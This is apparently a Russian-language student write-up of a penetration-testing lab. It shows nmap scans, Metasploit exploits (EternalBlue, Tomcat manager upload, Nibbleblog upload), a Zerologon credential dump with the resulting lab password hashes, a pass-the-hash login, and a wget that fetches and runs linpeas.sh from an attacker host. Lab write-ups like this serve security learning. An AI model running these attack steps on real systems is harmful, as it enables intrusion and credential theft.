---
# System prepended metadata

title: Final LAB Network infrastructure attack

---

# Final LAB Network infrastructure attack

# NMAP Сканим сеть
Узнаем какие машины есть в сети. 

* nmap 192.168.100.0/24 -T4
```

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 14:53 MSK

Nmap scan report for 192.168.100.1
Host is up (0.014s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
53/tcp open  domain

Nmap scan report for 192.168.100.7
Host is up (0.016s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5357/tcp  open  wsdapi
49152/tcp open  unknown
49153/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap scan report for 192.168.100.9
Host is up (0.011s latency).
Not shown: 986 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown

Nmap scan report for 192.168.100.11
Host is up (0.014s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi

Nmap scan report for 192.168.100.12
Host is up (0.0099s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap scan report for 192.168.100.16
Host is up (0.011s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap scan report for 192.168.100.18
Host is up (0.011s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
31337/tcp open  Elite

Nmap scan report for 192.168.100.20
Host is up (0.012s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap scan report for 192.168.100.24
Host is up (0.0098s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```





# HOSTS 
## 192.168.100.7 (win7 sp1)- ms17-010 
```
Nmap scan report for 192.168.100.7
Host is up (0.015s latency).
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server?
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
5357/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC
49157/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: OFFICE-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

```
Use exploit windows/smb/ms17_010_eternalblue
![](https://i.imgur.com/fMwDuHk.jpg)


Переходим в юзера - Администратора- Десктоп 
И не находим файл с флагом
![](https://i.imgur.com/IXKNQZa.png)

Далее пытаюсь переподключится к машине раз 10 и поискать файл с флагом, но по итоге по ходу сломал соединение. Так как машина стала неуязвима) 



## 192.168.100.9 - ms17_010 (psexec)
Scan vuln 
* nmap 192.168.100.9 --script vuln

```

Nmap scan report for 192.168.100.9
Host is up (0.60s latency).
Not shown: 986 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|_  /icons/: Potentially interesting folder w/ directory listing
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.100.9
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.100.9:80/
|     Form id: username
|     Form action: index.php
|     
|     Path: http://192.168.100.9:80/index.php
|     Form id: username
|     Form action: index.php
|     
|     Path: http://192.168.100.9:80/register.php
|     Form id: username
|     Form action: register.php
|     
|     Path: http://192.168.100.9:80/forgot.php
|     Form id: 
|_    Form action: 
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
|             Modulus Type: Safe prime
|             Modulus Source: RFC2409/Oakley Group 2
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.100.9
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: https://192.168.100.9:443/
|     Form id: username
|     Form action: index.php
|     
|     Path: https://192.168.100.9:443/forgot.php
|     Form id: 
|     Form action: 
|     
|     Path: https://192.168.100.9:443/index.php
|     Form id: username
|     Form action: index.php
|     
|     Path: https://192.168.100.9:443/register.php
|     Form id: username
|_    Form action: register.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
3389/tcp  open  ms-wbt-server
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
|             Modulus Type: Safe prime
|             Modulus Source: RFC2409/Oakley Group 2
|             Modulus Length: 1024
|             Generator Length: 1024
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 366.53 seconds
                     
```
Nmap нам подсветил уязвимость **smb-vuln-ms17-010**

Go to Metasploit & Attack host
* msfconsole -q
* search ms17_010
* use exploit(windows/smb/ms17_010_psexec)

![](https://i.imgur.com/93Sk9kl.jpg)

Перейдем в папку Administrator/Desktop
**Нашли флаг**


![](https://i.imgur.com/uhh2pm8.png)





## 192.168.100.16 - DC tech.local
С помощью **linWinPWN** сканируем ДК
![](https://i.imgur.com/jFQPwfJ.png)
![](https://i.imgur.com/KPiJez8.png)

! Authentications method: null session
This is zerologon!

### ZEROLOGON 
**Secretsdump** - дампим доменные креды из NTDS.DIT 
```
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py DC01\$@192.168.100.16 -just-dc -no-pass
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a73a2b453dd867f6a95dc81a6a907033:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:48e0bad80cafc6fd7bd74d30689eb496:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tech.local\engineer:1104:aad3b435b51404eeaad3b435b51404ee:f67e6562390dea47df701c6ee299ca6f:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ENGINEER$:1105:aad3b435b51404eeaad3b435b51404ee:728e84d1372639f874df339765d5d66d:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:8e199819a4223a913fcbfdf8eba62cb516d279453bbc5ab563d1beb90fa6b940
krbtgt:aes128-cts-hmac-sha1-96:98b58976dffca6b3d4f61d475ef0f07a
krbtgt:des-cbc-md5:64755b86aec7ece9
tech.local\engineer:aes256-cts-hmac-sha1-96:36253ff90c65b10a33603710d55786d5ce5f6fd742779a2a099315b7babcf888
tech.local\engineer:aes128-cts-hmac-sha1-96:26eed2110ec5d3b04764bd3a548d047c
tech.local\engineer:des-cbc-md5:765b0494574567b3
DC01$:aes256-cts-hmac-sha1-96:364a3e7060014999643ef3ea105a6c50ca48849951d7840e2846dff3bdce7f98
DC01$:aes128-cts-hmac-sha1-96:b29233c7d3deaef093bb33dd64729d51
DC01$:des-cbc-md5:daea2907abfd3d3d
ENGINEER$:aes256-cts-hmac-sha1-96:b6efcef02ca7a74fa379bc78e1bc593f305f30d60fe6fa2bd0ad23dded68af98
ENGINEER$:aes128-cts-hmac-sha1-96:ea2ed64ccadd0dd6f7b5d59160a9f7f9
ENGINEER$:des-cbc-md5:0ed61cdf680d2975
[*] Cleaning up... 

```


Так же можем использовать для дампа кредов **metasploit**
![](https://i.imgur.com/0RAs3gh.png)

Подключаемся к машине через **Evil-Winrm** с логином и хэшом администратора
* evil-winrm -i 192.168.100.16 -u Administrator  -H a73a2b453dd867f6a95dc81a6a907033 

### Получаем флаг админа домена
![](https://i.imgur.com/eAK0PjY.png)


* Evil-WinRM* PS C:\> whoami /groups
```
GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                        Attributes
=========================================== ================ ========================================== ===============================================================
Everyone                                    Well-known group S-1-1-0                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                      Alias            S-1-5-32-544                               Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                               Alias            S-1-5-32-545                               Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                               Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                   Mandatory group, Enabled by default, Enabled group
TECH\Group Policy Creator Owners            Group            S-1-5-21-2863272-3253994480-1350133221-520 Mandatory group, Enabled by default, Enabled group
TECH\Domain Admins                          Group            S-1-5-21-2863272-3253994480-1350133221-512 Mandatory group, Enabled by default, Enabled group
TECH\Enterprise Admins                      Group            S-1-5-21-2863272-3253994480-1350133221-519 Mandatory group, Enabled by default, Enabled group
TECH\Schema Admins                          Group            S-1-5-21-2863272-3253994480-1350133221-518 Mandatory group, Enabled by default, Enabled group
TECH\Denied RODC Password Replication Group Alias            S-1-5-21-2863272-3253994480-1350133221-572 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level        Label            S-1-16-12288

```


## 192.168.100.12 tomcat
Computer name : portal 

Перешли в браузер на порт 8080
ввели несуществующие логин и пароль и он выдал дефолтные логин и пароль, с помощью которых войдем

![](https://i.imgur.com/P3yWY0Y.png)

Используем exploit tomcat_mgr_upload

![](https://i.imgur.com/JMbUIq2.png)
![](https://i.imgur.com/UBPrMff.png)

Перейдем в /home/user
Нашли флаг юзера
![](https://i.imgur.com/Nlc3oza.png)

Post module tomcat выдал нам еще польз и пароли
![](https://i.imgur.com/Nllwe8e.png)


* Повышаем привилегии 

```
Файл /etc/passwd содержит информацию об учетных записях пользователей. Он доступен для чтения по всему миру, но обычно доступен только для записи пользователем root. Исторически сложилось так, что файл /etc/passwd содержал хэши паролей пользователя, а некоторые версии Linux по-прежнему позволяют хранить там хэши паролей. Если у нас есть доступ на запись к этому файлу в качестве пользователя низкого уровня, мы можем злоупотреблять этой привилегией, чтобы фактически перезаписать хэш пароля пользователя root.
```

К сожалению в моем случае разрешения на запись файла /etc/passwd - исчезло. 

Далее попробовал загрузить линпис на машину: 

python -c ‘import pty; pty.spawn(“/bin/bash”)’

wget 10.8.0.2:80/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Изучил отчет. Попробовал разные СVE, но безуспешно. 
У некоторых выдал ошибки при компиляции. Некоторые не отработали. Потратил 2 суток на решение этой тачки. Предполагаю что решение с повышением привилегии - использовать suid. Но без помощи коллег с этим я пока не справлюсь.  





## 192.168.100.24 - nibbleblog
Переберем директории
* gobuster dir -u 192.168.100.24  -k -t 50 -b 404,403 -x txt,html,bak,old -o gb_hr.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

```
─# cat gb_hr.txt                                                        127 ⨯
/content              (Status: 301) [Size: 318] [--> http://192.168.100.24/content/]
/themes               (Status: 301) [Size: 317] [--> http://192.168.100.24/themes/]
/admin                (Status: 301) [Size: 316] [--> http://192.168.100.24/admin/]
/plugins              (Status: 301) [Size: 318] [--> http://192.168.100.24/plugins/]
/README               (Status: 200) [Size: 4628]
/languages            (Status: 301) [Size: 320] [--> http://192.168.100.24/languages/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.100.24/javascript/]
/LICENSE              (Status: 200) [Size: 35148]
/LICENSE.txt          (Status: 200) [Size: 35148]
/COPYRIGHT.txt        (Status: 200) [Size: 1272]
/COPYRIGHT            (Status: 200) [Size: 1272]
                       
```
При переходе по ссылкам выдает - Доступ запрещен

Scan nmap vuln
* nmap 192.168.100.24 --script vuln -Pn -sS
```
└─# nmap 192.168.100.24 --script vuln -Pn -sS           2 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 17:56 MSK
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.100.24
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|       httponly flag not set
|   /admin.php: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|   /admin.php: Possible admin folder
|_  /README: Interesting, a readme.
| http-fileupload-exploiter: 
|   
|_    Couldn't find a file-type field.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.


```


НМАП подсветил по адресу 192.168.100.24/admin.php есть что то интересное.
Пробуем логинится под дефолтными кредами:
admin:admin
Вошли в админку
![](https://i.imgur.com/83ncByL.png)

Следующий шаг -получить реверс шелл 

Находим эксплойт в метасплойте 
* exploit(multi/http/nibbleblog_file_upload)

Получаем сессию
![](https://i.imgur.com/188K7ln.png)

Получили флаг юзера 
![](https://i.imgur.com/HHHOIlV.png)

Повышаем привилегии 
* sudo su 

![](https://i.imgur.com/WxGNSfc.png)

Получили флаг root
![](https://i.imgur.com/55s9c5m.png)





# Итог - Мое мнение
Чувствую себя немного скрипт-кидди. 
Но с учетом моего "бэкграунда", даже то что я смог войти в системы используя скрипты и в основном метасплойт - считаю что это прогресс для меня)) 
Лаба очень понравилась, я понял что мне еще очень много необходимо освоить и понять. 